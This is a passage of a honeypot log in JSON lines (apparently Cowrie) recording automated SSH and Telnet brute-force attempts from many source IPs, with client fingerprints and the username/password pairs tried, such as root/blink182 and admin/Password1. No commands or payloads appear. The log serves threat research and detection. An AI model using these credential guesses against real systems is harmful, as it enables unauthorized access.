16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:32.585866Z","src_ip":"193.32.162.151","session":"3ee386732a9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kryan","password":"kryan","message":"login attempt [kryan/kryan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:32.902138Z","src_ip":"193.32.162.151","session":"3ee386732a9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:34.009750Z","src_ip":"193.32.162.151","session":"3ee386732a9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":38920,"dst_ip":"159.203.135.109","dst_port":22,"session":"4227e2e851c3","protocol":"ssh","message":"New connection: 147.45.197.250:38920 (159.203.135.109:22) [session: 4227e2e851c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:40.039313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:40.044914Z","src_ip":"147.45.197.250","session":"4227e2e851c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:40.136860Z","src_ip":"147.45.197.250","session":"4227e2e851c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blink182","message":"login attempt [root/blink182] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:40.411958Z","src_ip":"147.45.197.250","session":"4227e2e851c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:41.506689Z","src_ip":"147.45.197.250","session":"4227e2e851c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.447614431381226,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:56.316629Z","src_ip":"192.119.13.58","session":"9287ff3b19ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":42580,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c60164fb168","protocol":"ssh","message":"New connection: 62.133.62.83:42580 (159.203.135.109:22) [session: 6c60164fb168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:06.217533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:06.226000Z","src_ip":"62.133.62.83","session":"6c60164fb168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:06.306699Z","src_ip":"62.133.62.83","session":"6c60164fb168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"underground","message":"login attempt [root/underground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:06.561924Z","src_ip":"62.133.62.83","session":"6c60164fb168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:07.648006Z","src_ip":"62.133.62.83","session":"6c60164fb168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":45840,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d36456a74f8","protocol":"ssh","message":"New connection: 94.159.98.239:45840 (10.17.0.5:22) [session: 4d36456a74f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:11.809273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:12.276103Z","src_ip":"94.159.98.239","session":"4d36456a74f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:12.281207Z","src_ip":"94.159.98.239","session":"4d36456a74f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfgh1","message":"login attempt [root/asdfgh1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:13.495925Z","src_ip":"94.159.98.239","session":"4d36456a74f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:14.758370Z","src_ip":"94.159.98.239","session":"4d36456a74f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":36148,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffb8f5e6456b","protocol":"ssh","message":"New connection: 43.156.17.27:36148 (159.203.135.109:22) [session: ffb8f5e6456b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:18.328866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:18.335387Z","src_ip":"43.156.17.27","session":"ffb8f5e6456b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:18.580560Z","src_ip":"43.156.17.27","session":"ffb8f5e6456b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz1qaz","message":"login attempt [root/1qaz1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:19.597035Z","src_ip":"43.156.17.27","session":"ffb8f5e6456b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:20.846724Z","src_ip":"43.156.17.27","session":"ffb8f5e6456b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":59222,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ab80d8b5ae1","protocol":"ssh","message":"New connection: 80.94.92.186:59222 (159.203.135.109:22) [session: 8ab80d8b5ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:29.940884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:30.059140Z","src_ip":"80.94.92.186","session":"8ab80d8b5ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:30.064143Z","src_ip":"80.94.92.186","session":"8ab80d8b5ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":16182,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d16c629e8c8","protocol":"ssh","message":"New connection: 165.154.227.158:16182 (159.203.135.109:22) [session: 6d16c629e8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:30.071974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:30.078498Z","src_ip":"165.154.227.158","session":"6d16c629e8c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:30.309765Z","src_ip":"165.154.227.158","session":"6d16c629e8c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:31.133086Z","src_ip":"80.94.92.186","session":"8ab80d8b5ae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mh123456","message":"login attempt [root/Mh123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:31.225424Z","src_ip":"165.154.227.158","session":"6d16c629e8c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:32.449308Z","src_ip":"165.154.227.158","session":"6d16c629e8c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:32.488114Z","src_ip":"80.94.92.186","session":"8ab80d8b5ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":41694,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff56c5f2efa5","protocol":"ssh","message":"New connection: 170.106.115.61:41694 (10.17.0.5:22) [session: ff56c5f2efa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:36.922491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:36.927182Z","src_ip":"170.106.115.61","session":"ff56c5f2efa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:36.996769Z","src_ip":"170.106.115.61","session":"ff56c5f2efa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password1","message":"login attempt [admin/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:37.308627Z","src_ip":"170.106.115.61","session":"ff56c5f2efa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:11:38.381608Z","src_ip":"170.106.115.61","session":"ff56c5f2efa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46052,"dst_ip":"10.17.0.5","dst_port":23,"session":"84b022703069","protocol":"telnet","message":"New connection: 192.119.13.58:46052 (10.17.0.5:23) [session: 84b022703069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:11.358699Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":48544,"dst_ip":"10.17.0.5","dst_port":22,"session":"1da86aa59017","protocol":"ssh","message":"New connection: 103.15.222.183:48544 (10.17.0.5:22) [session: 1da86aa59017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:22.582044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:22.587089Z","src_ip":"103.15.222.183","session":"1da86aa59017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:22.842546Z","src_ip":"103.15.222.183","session":"1da86aa59017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rafiq3535","message":"login attempt [root/rafiq3535] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:23.609526Z","src_ip":"103.15.222.183","session":"1da86aa59017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:24.867566Z","src_ip":"103.15.222.183","session":"1da86aa59017","protocol":"ssh"}
